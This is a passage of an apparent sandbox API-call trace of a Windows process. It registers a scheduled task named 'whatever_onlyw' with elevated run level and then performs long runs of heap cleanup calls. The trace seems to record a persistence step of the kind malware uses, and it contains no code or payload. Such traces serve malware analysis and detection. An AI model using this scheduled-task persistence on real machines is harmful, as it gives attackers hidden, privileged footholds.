returned 0 [0128.935] IUnknown:Release (This=0x3e5f50) returned 0x1 [0128.935] GetLocalTime (in: lpSystemTime=0x27cf18 | out: lpSystemTime=0x27cf18*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x12, wSecond=0x34, wMilliseconds=0x374)) [0128.935] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefe7b0000 [0128.935] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetUserNameW") returned 0x7fefe7c1fd0 [0128.936] GetUserNameW (in: lpBuffer=0x27cf40, pcbBuffer=0x27cf28 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x27cf28) returned 1 [0128.936] ITaskDefinition:get_RegistrationInfo (in: This=0x3e7d20, ppRegistrationInfo=0x27cf10 | out: ppRegistrationInfo=0x27cf10*=0x3e7e60) returned 0x0 [0128.936] IRegistrationInfo:put_Author (This=0x3e7e60, Author="") returned 0x0 [0128.937] _vsnwprintf (in: _Buffer=0x27cf40, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x27ced8 | out: _Buffer="2022-08-06T02:18:52") returned 19 [0128.937] IRegistrationInfo:put_Date (This=0x3e7e60, Date="") returned 0x0 [0128.937] IUnknown:Release (This=0x3e7e60) returned 0x1 [0128.937] malloc (_Size=0x18) returned 0x3e7c60 [0128.937] free (_Block=0x3e7c60) [0128.937] lstrlenW (lpString="") returned 0 [0128.937] ITaskDefinition:get_Principal (in: This=0x3e7d20, ppPrincipal=0x27d130 | out: ppPrincipal=0x27d130*=0x3e60c0) returned 0x0 [0128.937] IPrincipal:put_RunLevel (This=0x3e60c0, RunLevel=1) returned 0x0 [0128.937] IUnknown:Release (This=0x3e60c0) returned 0x1 [0128.937] malloc (_Size=0x18) returned 0x3e7c60 [0128.937] ITaskFolder:RegisterTaskDefinition (in: This=0x3e7cd0, Path="whatever_onlyw", pDefinition=0x3e7d20, flags=6, UserId=0x27d1b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x27d1f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x27f0c0, varVal2=0xfe), LogonType=3, sddl=0x27d1d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x27d0d0 | out: ppTask=0x27d0d0*=0x3e6440) returned 0x0 [0129.087] free (_Block=0x3e7c60) [0129.087] _memicmp (_Buf1=0x48bad0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0129.087] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x48d2c0, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0129.087] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0129.087] GetProcessHeap () returned 0x470000 [0129.087] GetProcessHeap () returned 0x470000 [0129.087] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48d600) returned 1 [0129.087] GetProcessHeap () returned 0x470000 [0129.087] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48d600) returned 0xc [0129.087] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48d600 | out: hHeap=0x470000) returned 1 [0129.087] GetProcessHeap () returned 0x470000 [0129.087] RtlAllocateHeap (HeapHandle=0x470000, Flags=0xc, Size=0x82) returned 0x4a9cc0 [0129.087] _vsnwprintf (in: _Buffer=0x27d810, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x27d078 | out: _Buffer="SUCCESS: The scheduled task \"whatever_onlyw\" has successfully been created.\n") returned 76 [0129.087] _fileno (_File=0x7fefed02ab0) returned -2 [0129.087] _errno () returned 0x3e4bb0 [0129.087] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0129.088] SetLastError (dwErrCode=0x6) [0129.088] lstrlenW (lpString="SUCCESS: The scheduled task \"whatever_onlyw\" has successfully been created.\n") returned 76 [0129.088] GetConsoleOutputCP () returned 0x0 [0129.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"whatever_onlyw\" has successfully been created.\n", cchWideChar=76, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 76 [0129.088] GetConsoleOutputCP () returned 0x0 [0129.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"whatever_onlyw\" has successfully been created.\n", cchWideChar=76, lpMultiByteStr=0xffcc1880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"whatever_onlyw\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 76 [0129.088] fprintf (in: _File=0x7fefed02ab0, _Format="%s" | out: _File=0x7fefed02ab0) returned 76 [0129.088] fflush (in: _File=0x7fefed02ab0 | out: _File=0x7fefed02ab0) returned -1 [0129.088] IUnknown:Release (This=0x3e6440) returned 0x0 [0129.088] TaskScheduler:IUnknown:Release (This=0x3e7d20) returned 0x0 [0129.088] TaskScheduler:IUnknown:Release (This=0x3e7cd0) returned 0x0 [0129.088] TaskScheduler:IUnknown:Release (This=0x3e7aa0) returned 0x1 [0129.088] lstrlenW (lpString="") returned 0 [0129.089] lstrlenW (lpString="5") returned 1 [0129.089] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="5", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0129.089] GetProcessHeap () returned 0x470000 [0129.089] GetProcessHeap () returned 0x470000 [0129.089] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48c400) returned 1 [0129.089] GetProcessHeap () returned 0x470000 [0129.089] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48c400) returned 0x1fc [0129.089] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48c400 | out: hHeap=0x470000) returned 1 [0129.089] GetProcessHeap () returned 0x470000 [0129.089] GetProcessHeap () returned 0x470000 [0129.089] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48b9d0) returned 1 [0129.089] GetProcessHeap () returned 0x470000 [0129.089] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48b9d0) returned 0x4 [0129.089] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48b9d0 | out: hHeap=0x470000) returned 1 [0129.089] GetProcessHeap () returned 0x470000 [0129.089] GetProcessHeap () returned 0x470000 [0129.089] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48d520) returned 1 [0129.089] GetProcessHeap () returned 0x470000 [0129.089] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48d520) returned 0x16 [0129.090] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48d520 | out: hHeap=0x470000) returned 1 [0129.090] GetProcessHeap () returned 0x470000 [0129.090] GetProcessHeap () returned 0x470000 [0129.090] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48d500) returned 1 [0129.090] GetProcessHeap () returned 0x470000 [0129.090] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48d500) returned 0x18 [0129.090] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48d500 | out: hHeap=0x470000) returned 1 [0129.090] GetProcessHeap () returned 0x470000 [0129.090] GetProcessHeap () returned 0x470000 [0129.090] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48ce20) returned 1 [0129.090] GetProcessHeap () returned 0x470000 [0129.090] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48ce20) returned 0x20 [0129.090] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48ce20 | out: hHeap=0x470000) returned 1 [0129.090] GetProcessHeap () returned 0x470000 [0129.090] GetProcessHeap () returned 0x470000 [0129.090] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48c030) returned 1 [0129.090] GetProcessHeap () returned 0x470000 [0129.090] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48c030) returned 0xa0 [0129.091] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48c030 | out: hHeap=0x470000) returned 1 [0129.091] GetProcessHeap () returned 0x470000 [0129.091] GetProcessHeap () returned 0x470000 [0129.091] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48bab0) returned 1 [0129.091] GetProcessHeap () returned 0x470000 [0129.091] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48bab0) returned 0x18 [0129.091] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48bab0 | out: hHeap=0x470000) returned 1 [0129.091] GetProcessHeap () returned 0x470000 [0129.091] GetProcessHeap () returned 0x470000 [0129.091] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48cb50) returned 1 [0129.091] GetProcessHeap () returned 0x470000 [0129.091] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48cb50) returned 0x20 [0129.092] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48cb50 | out: hHeap=0x470000) returned 1 [0129.092] GetProcessHeap () returned 0x470000 [0129.092] GetProcessHeap () returned 0x470000 [0129.092] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48c290) returned 1 [0129.092] GetProcessHeap () returned 0x470000 [0129.092] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48c290) returned 0x60 [0129.092] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48c290 | out: hHeap=0x470000) returned 1 [0129.092] GetProcessHeap () returned 0x470000 [0129.092] GetProcessHeap () returned 0x470000 [0129.093] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48d540) returned 1 [0129.093] GetProcessHeap () returned 0x470000 [0129.093] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48d540) returned 0x18 [0129.093] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48d540 | out: hHeap=0x470000) returned 1 [0129.093] GetProcessHeap () returned 0x470000 [0129.093] GetProcessHeap () returned 0x470000 [0129.093] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48cb20) returned 1 [0129.093] GetProcessHeap () returned 0x470000 [0129.093] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48cb20) returned 0x20 [0129.093] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48cb20 | out: hHeap=0x470000) returned 1 [0129.093] GetProcessHeap () returned 0x470000 [0129.093] GetProcessHeap () returned 0x470000 [0129.093] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48c390) returned 1 [0129.093] GetProcessHeap () returned 0x470000 [0129.093] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48c390) returned 0x62 [0129.094] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48c390 | out: hHeap=0x470000) returned 1 [0129.094] GetProcessHeap () returned 0x470000 [0129.094] GetProcessHeap () returned 0x470000 [0129.094] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48c370) returned 1 [0129.094] GetProcessHeap () returned 0x470000 [0129.094] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48c370) returned 0x18 [0129.094] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48c370 | out: hHeap=0x470000) returned 1 [0129.094] GetProcessHeap () returned 0x470000 [0129.094] GetProcessHeap () returned 0x470000 [0129.094] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48caf0) returned 1 [0129.094] GetProcessHeap () returned 0x470000 [0129.095] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48caf0) returned 0x20 [0129.095] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48caf0 | out: hHeap=0x470000) returned 1 [0129.095] GetProcessHeap () returned 0x470000 [0129.095] GetProcessHeap () returned 0x470000 [0129.095] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48c350) returned 1 [0129.095] GetProcessHeap () returned 0x470000 [0129.095] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48c350) returned 0xe [0129.095] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48c350 | out: hHeap=0x470000) returned 1 [0129.095] GetProcessHeap () returned 0x470000 [0129.095] GetProcessHeap () returned 0x470000 [0129.096] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48c330) returned 1 [0129.096] GetProcessHeap () returned 0x470000 [0129.096] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48c330) returned 0x18 [0129.096] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48c330 | out: hHeap=0x470000) returned 1 [0129.096] GetProcessHeap () returned 0x470000 [0129.096] GetProcessHeap () returned 0x470000 [0129.096] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x485d80) returned 1 [0129.096] GetProcessHeap () returned 0x470000 [0129.096] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x485d80) returned 0x20 [0129.097] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x485d80 | out: hHeap=0x470000) returned 1 [0129.097] GetProcessHeap () returned 0x470000 [0129.097] GetProcessHeap () returned 0x470000 [0129.097] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48bc30) returned 1 [0129.097] GetProcessHeap () returned 0x470000 [0129.097] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48bc30) returned 0x208 [0129.097] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48bc30 | out: hHeap=0x470000) returned 1 [0129.097] GetProcessHeap () returned 0x470000 [0129.097] GetProcessHeap () returned 0x470000 [0129.098] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48ba90) returned 1 [0129.098] GetProcessHeap () returned 0x470000 [0129.098] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48ba90) returned 0x18 [0129.098] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48ba90 | out: hHeap=0x470000) returned 1 [0129.098] GetProcessHeap () returned 0x470000 [0129.099] GetProcessHeap () returned 0x470000 [0129.099] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x485c90) returned 1 [0129.099] GetProcessHeap () returned 0x470000 [0129.099] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x485c90) returned 0x20 [0129.099] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x485c90 | out: hHeap=0x470000) returned 1 [0129.099] GetProcessHeap () returned 0x470000 [0129.099] GetProcessHeap () returned 0x470000 [0129.099] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48d2c0) returned 1 [0129.099] GetProcessHeap () returned 0x470000 [0129.099] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48d2c0) returned 0x200 [0129.100] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48d2c0 | out: hHeap=0x470000) returned 1 [0129.100] GetProcessHeap () returned 0x470000 [0129.100] GetProcessHeap () returned 0x470000 [0129.100] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48bad0) returned 1 [0129.100] GetProcessHeap () returned 0x470000 [0129.100] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48bad0) returned 0x18 [0129.100] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48bad0 | out: hHeap=0x470000) returned 1 [0129.100] GetProcessHeap () returned 0x470000 [0129.100] GetProcessHeap () returned 0x470000 [0129.100] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x485c00) returned 1 [0129.100] GetProcessHeap () returned 0x470000 [0129.100] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x485c00) returned 0x20 [0129.100] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x485c00 | out: hHeap=0x470000) returned 1 [0129.101] GetProcessHeap () returned 0x470000 [0129.101] GetProcessHeap () returned 0x470000 [0129.101] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48c240) returned 1 [0129.101] GetProcessHeap () returned 0x470000 [0129.101] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48c240) returned 0x14 [0129.101] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48c240 | out: hHeap=0x470000) returned 1 [0129.101] GetProcessHeap () returned 0x470000 [0129.101] GetProcessHeap () returned 0x470000 [0129.101] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48c220) returned 1 [0129.101] GetProcessHeap () returned 0x470000 [0129.101] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48c220) returned 0x18 [0129.101] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48c220 | out: hHeap=0x470000) returned 1 [0129.101] GetProcessHeap () returned 0x470000 [0129.101] GetProcessHeap () returned 0x470000 [0129.101] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x485b40) returned 1 [0129.101] GetProcessHeap () returned 0x470000 [0129.101] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x485b40) returned 0x20 [0129.102] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x485b40 | out: hHeap=0x470000) returned 1 [0129.102] GetProcessHeap () returned 0x470000 [0129.102] GetProcessHeap () returned 0x470000 [0129.102] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48c260) returned 1 [0129.102] GetProcessHeap () returned 0x470000 [0129.102] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48c260) returned 0x16 [0129.102] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48c260 | out: hHeap=0x470000) returned 1 [0129.102] GetProcessHeap () returned 0x470000 [0129.102] GetProcessHeap () returned 0x470000 [0129.102] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48c1e0) returned 1 [0129.102] GetProcessHeap () returned 0x470000 [0129.102] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48c1e0) returned 0x18 [0129.102] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48c1e0 | out: hHeap=0x470000) returned 1 [0129.102] GetProcessHeap () returned 0x470000 [0129.102] GetProcessHeap () returned 0x470000 [0129.102] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x485b10) returned 1 [0129.102] GetProcessHeap () returned 0x470000 [0129.102] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x485b10) returned 0x20 [0129.103] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x485b10 | out: hHeap=0x470000) returned 1 [0129.103] GetProcessHeap () returned 0x470000 [0129.103] GetProcessHeap () returned 0x470000 [0129.103] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48ba10) returned 1 [0129.103] GetProcessHeap () returned 0x470000 [0129.103] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48ba10) returned 0x2 [0129.103] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48ba10 | out: hHeap=0x470000) returned 1 [0129.103] GetProcessHeap () returned 0x470000 [0129.103] GetProcessHeap () returned 0x470000 [0129.103] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x485960) returned 1 [0129.103] GetProcessHeap () returned 0x470000 [0129.103] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x485960) returned 0x20 [0129.103] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x485960 | out: hHeap=0x470000) returned 1 [0129.103] GetProcessHeap () returned 0x470000 [0129.103] GetProcessHeap () returned 0x470000 [0129.103] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x485990) returned 1 [0129.103] GetProcessHeap () returned 0x470000 [0129.103] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x485990) returned 0x20 [0129.104] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x485990 | out: hHeap=0x470000) returned 1 [0129.104] GetProcessHeap () returned 0x470000 [0129.104] GetProcessHeap () returned 0x470000 [0129.104] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x4859c0) returned 1 [0129.104] GetProcessHeap () returned 0x470000 [0129.104] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x4859c0) returned 0x20 [0129.104] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x4859c0 | out: hHeap=0x470000) returned 1 [0129.104] GetProcessHeap () returned 0x470000 [0129.104] GetProcessHeap () returned 0x470000 [0129.104] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x4859f0) returned 1 [0129.104] GetProcessHeap () returned 0x470000 [0129.104] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x4859f0) returned 0x20 [0129.105] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x4859f0 | out: hHeap=0x470000) returned 1 [0129.105] GetProcessHeap () returned 0x470000 [0129.105] GetProcessHeap () returned 0x470000 [0129.105] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48cb80) returned 1 [0129.105] GetProcessHeap () returned 0x470000 [0129.105] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48cb80) returned 0x20 [0129.105] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48cb80 | out: hHeap=0x470000) returned 1 [0129.105] GetProcessHeap () returned 0x470000 [0129.105] GetProcessHeap () returned 0x470000 [0129.105] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48d640) returned 1 [0129.105] GetProcessHeap () returned 0x470000 [0129.105] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48d640) returned 0xa [0129.105] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48d640 | out: hHeap=0x470000) returned 1 [0129.105] GetProcessHeap () returned 0x470000 [0129.105] GetProcessHeap () returned 0x470000 [0129.105] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48cbb0) returned 1 [0129.105] GetProcessHeap () returned 0x470000 [0129.105] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48cbb0) returned 0x20 [0129.106] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48cbb0 | out: hHeap=0x470000) returned 1 [0129.106] GetProcessHeap () returned 0x470000 [0129.106] GetProcessHeap () returned 0x470000 [0129.106] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x487a80) returned 1 [0129.106] GetProcessHeap () returned 0x470000 [0129.106] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x487a80) returned 0x30 [0129.106] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x487a80 | out: hHeap=0x470000) returned 1 [0129.106] GetProcessHeap () returned 0x470000 [0129.106] GetProcessHeap () returned 0x470000 [0129.106] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48cbe0) returned 1 [0129.106] GetProcessHeap () returned 0x470000 [0129.106] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48cbe0) returned 0x20 [0129.107] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48cbe0 | out: hHeap=0x470000) returned 1 [0129.107] GetProcessHeap () returned 0x470000 [0129.107] GetProcessHeap () returned 0x470000 [0129.107] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x487ac0) returned 1 [0129.107] GetProcessHeap () returned 0x470000 [0129.107] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x487ac0) returned 0x30 [0129.107] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x487ac0 | out: hHeap=0x470000) returned 1 [0129.107] GetProcessHeap () returned 0x470000 [0129.107] GetProcessHeap () returned 0x470000 [0129.107] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48cdf0) returned 1 [0129.107] GetProcessHeap () returned 0x470000 [0129.107] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48cdf0) returned 0x20 [0129.108] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48cdf0 | out: hHeap=0x470000) returned 1 [0129.108] GetProcessHeap () returned 0x470000 [0129.108] GetProcessHeap () returned 0x470000 [0129.108] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48d560) returned 1 [0129.108] GetProcessHeap () returned 0x470000 [0129.108] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48d560) returned 0x10 [0129.108] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48d560 | out: hHeap=0x470000) returned 1 [0129.108] GetProcessHeap () returned 0x470000 [0129.108] GetProcessHeap () returned 0x470000 [0129.108] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48cdc0) returned 1 [0129.108] GetProcessHeap () returned 0x470000 [0129.108] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48cdc0) returned 0x20 [0129.108] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48cdc0 | out: hHeap=0x470000) returned 1 [0129.108] GetProcessHeap () returned 0x470000 [0129.108] GetProcessHeap () returned 0x470000 [0129.108] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48d580) returned 1 [0129.108] GetProcessHeap () returned 0x470000 [0129.108] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48d580) returned 0x10 [0129.109] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48d580 | out: hHeap=0x470000) returned 1 [0129.109] GetProcessHeap () returned 0x470000 [0129.109] GetProcessHeap () returned 0x470000 [0129.109] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48cd90) returned 1 [0129.109] GetProcessHeap () returned 0x470000 [0129.109] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48cd90) returned 0x20 [0129.109] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48cd90 | out: hHeap=0x470000) returned 1 [0129.109] GetProcessHeap () returned 0x470000 [0129.109] GetProcessHeap () returned 0x470000 [0129.109] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48d5a0) returned 1 [0129.109] GetProcessHeap () returned 0x470000 [0129.109] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48d5a0) returned 0xe [0129.109] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48d5a0 | out: hHeap=0x470000) returned 1 [0129.109] GetProcessHeap () returned 0x470000 [0129.109] GetProcessHeap () returned 0x470000 [0129.109] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48cd60) returned 1 [0129.109] GetProcessHeap () returned 0x470000 [0129.109] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48cd60) returned 0x20 [0129.110] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48cd60 | out: hHeap=0x470000) returned 1 [0129.110] GetProcessHeap () returned 0x470000 [0129.110] GetProcessHeap () returned 0x470000 [0129.110] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48d5c0) returned 1 [0129.110] GetProcessHeap () returned 0x470000 [0129.110] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48d5c0) returned 0x16 [0129.110] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48d5c0 | out: hHeap=0x470000) returned 1 [0129.110] GetProcessHeap () returned 0x470000 [0129.110] GetProcessHeap () returned 0x470000 [0129.110] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48cd30) returned 1 [0129.110] GetProcessHeap () returned 0x470000 [0129.110] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48cd30) returned 0x20 [0129.110] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48cd30 | out: hHeap=0x470000) returned 1 [0129.110] GetProcessHeap () returned 0x470000 [0129.110] GetProcessHeap () returned 0x470000 [0129.110] HeapValidate (hHeap=0x470000, dwFlags=0x0, lpMem=0x48d5e0) returned 1 [0129.110] GetProcessHeap () returned 0x470000 [0129.110] RtlSizeHeap (HeapHandle=0x470000, Flags=0x0, MemoryPointer=0x48d5e0) returned 0x16 [0129.111] HeapFree (in: hHeap=0x470000, 